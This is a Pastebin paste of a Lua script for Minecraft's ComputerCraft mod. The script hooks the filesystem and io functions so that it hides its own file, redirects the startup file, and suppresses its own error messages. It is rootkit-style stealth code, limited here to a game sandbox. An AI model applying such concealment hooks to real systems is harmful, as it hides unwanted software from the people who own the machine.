Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- #### Vars
- local userStartupPath = "userStartup"
- local osName = "fakeOS"
- local hiddenPrograms = {osName}
- local fake = {}
- local real = {}
- -- #### "Local" functions
- local function getAnEmptyPath()
- while true do
- local dir = tostring(math.random(1, 65535))
- if real.exists(dir) == false then
- return dir
- end
- end
- end
- local function shouldBeHidden(path)
- for i=1, #hiddenPrograms do
- if string.lower(path) == string.lower(hiddenPrograms[i]) then
- return true
- end
- end
- return false
- end
- local function writeYellow(text)
- if term.isColor() then
- term.setTextColor(colors.yellow)
- term.write(text)
- term.setTextColor(colors.white)
- else
- term.write(text)
- end
- end
- term.writeYellow = writeYellow
- local function splitIntoArgs(str)
- i=0
- arg = {}
- -- %S -> A character that isn't a space
- -- + -> Or more than one
- -- %S+ -> Any group of character not separated by a space
- -- string.gmatch(str, "%S+") : Splits the string when a space is encountered
- for w in string.gmatch(str, "%S+") do
- i=i+1
- arg[i]=w
- end
- if type(arg) == "table" then
- if #arg > 0 then
- return arg
- end
- end
- return false
- end
- -- #### Tweaking compromising functions
- real.error = _G.printError
- function fakeError(text)
- if type(string.find(text, "fakeOS:")) == "number" then
- return false
- else
- real.error(text)
- end
- end
- _G.printError = fakeError
- real.find = fs.find
- local function fakeFind(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- if shouldBeHidden(path) == true then
- return nil
- end
- list = real.find(path)
- for i=1,#list do
- for j=1, #hiddenPrograms do
- if type(list[i]) == "string" then
- if string.lower(list[i]) == string.lower(hiddenPrograms[j]) then
- table.remove(list, i)
- end
- end
- end
- end
- for i=1,#list do
- if list[i] == userStartupPath then
- list[i] = "startup"
- end
- end
- return list
- end
- fs.find = fakeFind
- real.list = fs.list
- local function fakeList(path)
- list = real.list(path)
- for i=1,#list do
- for j=1, #hiddenPrograms do
- if type(list[i]) == "string" then
- if string.lower(list[i]) == string.lower(hiddenPrograms[j]) then
- table.remove(list, i)
- end
- end
- end
- end
- for i=1,#list do
- if list[i] == "startup" then
- table.remove(list, i)
- end
- end
- for i=1,#list do
- if list[i] == userStartupPath then
- list[i] = "startup"
- end
- end
- return list
- end
- fs.list = fakeList
- real.exists = fs.exists
- local function fakeExists(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- if shouldBeHidden(path) == true then
- return nil
- end
- return real.exists(path)
- end
- fs.exists = fakeExists
- real.ioOpen = io.open
- local function fakeIoOpen(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- if shouldBeHidden(path) == true then
- return nil
- end
- return real.ioOpen(path)
- end
- io.open = fakeIoOpen
- real.makeDir = fs.makeDir
- local function fakeMakeDir(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- if shouldBeHidden(path) == true then
- return nil
- end
- return real.makeDir(path)
- end
- fs.makeDir = fakeMakeDir
- real.delete = fs.delete
- local function fakeDelete(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- if shouldBeHidden(path) == true then
- return nil
- end
- return real.delete(path)
- end
- fs.delete = fakeDelete
- real.open = fs.open
- local function fakeOpen(path, mode)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- if shouldBeHidden(path) == true then
- return nil
- end
- return real.open(path, mode)
- end
- fs.open = fakeOpen
- real.isReadOnly = fs.isReadOnly
- local function fakeIsReadOnly(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- if shouldBeHidden(path) == true then
- return nil
- end
- return real.isReadOnly(path)
- end
- fs.isReadOnly = fakeIsReadOnly
- real.getSize = fs.getSize
- local function fakeGetSize(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- if shouldBeHidden(path) == true then
- return nil
- end
- return real.getSize(path)
- end
- fs.getSize = fakeGetSize
- real.move = fs.move
- local function fakeMove(fromPath, toPath)
- if shouldBeHidden(fromPath) == true or shouldBeHidden(toPath) == true then
- return nil
- end
- if string.lower(fromPath) == "startup" then
- fromPath = userStartupPath
- end
- if string.lower(toPath) == "startup" then
- toPath = userStartupPath
- end
- return real.move(fromPath, toPath)
- end
- fs.move = fakeMove
- real.copy = fs.copy
- local function fakeCopy(fromPath, toPath)
- if shouldBeHidden(fromPath) == true or shouldBeHidden(toPath) == true then
- return nil
- end
- if string.lower(fromPath) == "startup" then
- fromPath = userStartupPath
- end
- if string.lower(toPath) == "startup" then
- toPath = userStartupPath
- end
- return real.copy(fromPath, toPath)
- end
- fs.copy = fakeCopy
- -- #### Actual FakeOS
- term.clear()
- term.setCursorPos(1,1)
- term.writeYellow(os.version())
- term.setCursorPos(1,2)
- if real.exists("userStartup") then
- shell.run("userStartup")
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement